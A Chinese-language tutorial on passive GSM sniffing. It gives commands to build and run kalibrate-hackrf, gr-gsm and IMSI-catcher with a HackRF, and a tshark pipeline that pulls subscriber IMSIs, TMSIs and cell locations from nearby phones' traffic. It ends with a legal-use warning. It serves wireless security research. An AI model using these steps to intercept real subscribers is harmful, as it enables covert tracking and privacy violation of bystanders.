D~DIDI~DIDIDI!!!!

0%

GSM嗅探

概述

GSM 嗅探(GSM Sniffing)是无线通信安全研究中的一项重要技术,通过监听 GSM 信号来捕获和分析移动通信数据。本文介绍如何使用 HackRF 等 SDR 硬件,结合 kalibrate-hackrfgr-gsmIMSI-catcher 等开源工具,实现 GSM 频点扫描、信号解码和 IMSI 捕获。

工具链概览

工具 功能 说明
HackRF One SDR 硬件 开源软件定义无线电平台,支持 1MHz~6GHz 频率范围
kalibrate-hackrf 频点扫描 在已知 GSM 频率之间跳动,识别当前区域使用的 GSM 频率
gr-gsm 信号解码 基于 GnuRadio 的 GSM 信号解码模块,将原始无线电信号转换为可分析的数据包
tshark 数据包分析 Wireshark 命令行版本,可从解码后的 GSM 数据中提取 IMSI 等信息
IMSI-catcher IMSI 捕获 自动化 IMSI 捕获工具,集成频点扫描和数据解析功能

1. GSM 频点扫描

1.1 安装 kalibrate-hackrf

kalibrate-hackrf 是一款专为 HackRF 设计的 GSM 频率校准工具。它能够在已知的 GSM 频率之间跳动,快速识别当前区域正在使用的 GSM 基站频率。

1
2
3
4
5
6
7
8
9
# 克隆源码
git clone https://github.com/scateu/kalibrate-hackrf.git
cd kalibrate-hackrf

# 编译安装
./bootstrap
./configure
make
sudo make install

1.2 扫描 GSM 频点

1
2
3
4
5
# 扫描 GSM900 频段
kal -s GSM900

# 扫描 GSM1800 频段(DCS)
kal -s DCS

扫描结果会列出检测到的 GSM 基站频率及其信号强度,选择信号最强的频点用于后续嗅探。

2. 安装 gr-gsm

gr-gsm 是基于 GnuRadio 的 GSM 信号处理模块,能够将 SDR 硬件接收到的原始无线电信号解码为 GSM 数据包。

2.1 安装依赖

1
2
sudo apt-get install git cmake libboost-all-dev libcppunit-dev \
swig doxygen liblog4cpp5-dev python-scipy gnuradio

2.2 编译安装

1
2
3
4
5
6
7
8
git clone https://github.com/ptrkrysik/gr-gsm.git
cd gr-gsm
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig

2.3 运行 gr-gsm

安装完成后,gr-gsm 提供了多个工具:

命令 功能
grgsm_scanner 扫描附近的 GSM 基站
grgsm_livemon 实时监听指定频率的 GSM 信号
grgsm_decode 解码已录制的 GSM 信号文件
1
2
3
# 使用 grgsm_livemon 监听指定频率
# 将 <frequency> 替换为扫描到的频率值
grgsm_livemon -f <frequency>

gr-gsm 解码后的数据包会通过本地环回接口(loopback)以 GSMTAP 格式转发,默认端口为 4729,可使用 Wireshark 或 tshark 进行分析。

3. IMSI 捕获

IMSI(International Mobile Subscriber Identity,国际移动用户识别码)是 SIM 卡中存储的唯一标识符,用于在移动网络中识别用户。通过 GSM 嗅探捕获 IMSI 是安全研究中的重要环节。

3.1 使用 tshark 直接提取 IMSI

tshark 是 Wireshark 的命令行版本,可以直接从 gr-gsm 转发的数据流中提取 IMSI 信息:

1
2
3
4
# 监听本地环回接口,过滤并提取 IMSI
sudo tshark -i lo -Y "e212.imsi" -V 2>&1 | \
sed 's/^[ \t]*//;s/[ \t]*$//' 2>&1 | \
grep "IMSI:"

参数说明:

参数 说明
-i lo 监听本地环回(loopback)接口
-Y "e212.imsi" Wireshark 显示过滤器,仅显示包含 IMSI 的数据包
-V 显示数据包详细信息

3.2 使用 IMSI-catcher 工具

IMSI-catcher 是一个自动化的 IMSI 捕获工具,集成了频点扫描和数据解析功能,使用更加便捷。

安装

1
2
3
4
5
6
# 克隆项目
git clone https://github.com/Oros42/IMSI-catcher.git
cd IMSI-catcher

# 安装 Python 依赖(支持 Python 3)
sudo apt install python3-numpy python3-scipy python3-scapy

运行扫描

1
2
3
4
5
6
7
8
9
10
11
# 方式一:自动扫描频点并监听
# 该命令会自动探测 GSM 频点,启动 livemon 进行数据捕获
# 默认服务端口为 4730
python3 scan-and-livemon

# 方式二:手动指定端口运行 IMSI 捕获
# 默认端口 4729,可通过 -p 参数指定
python3 simple_IMSI-catcher.py -p 4729

# 方式三:以图形界面模式运行
sudo python3 simple_IMSI-catcher.py -s

运行后,工具会自动:

  1. 扫描附近的 GSM 基站频率
  2. 在检测到的频率上启动 livemon 进行数据捕获
  3. 解析捕获的数据,提取 IMSI、TMSI、LAC、Cell ID 等信息
  4. 通过 MCC/MNC 查询运营商信息

3.3 输出信息说明

字段 说明
IMSI 国际移动用户识别码(15位数字)
TMSI 临时移动用户识别码
MCC 移动国家代码(如 460 = 中国)
MNC 移动网络代码(如 00 = 中国移动)
LAC 位置区域码
Cell ID 小区标识
Operator 运营商名称

安全提示

⚠️ 重要警告: GSM 嗅探技术仅可用于合法的安全研究和测试目的。在使用前请确保:

  • 已获得必要的无线电频率使用许可
  • 仅在授权的环境中进行测试
  • 遵守所在地区的无线电管理法规和隐私保护法律
  • 不得用于任何非法监听、跟踪或侵犯他人隐私的活动
  • 注意保护捕获到的敏感信息(如 IMSI),防止泄露

相关文章

本文是 GSM 安全研究系列的一部分。GSM 嗅探是被动式监听技术,与 OpenBTS/YateBTS 等主动式伪基站技术互为补充。掌握 GSM 嗅探技术有助于理解移动通信安全的基本原理。相关内容可参考 GSM 基础、SDR、移动网络等文章。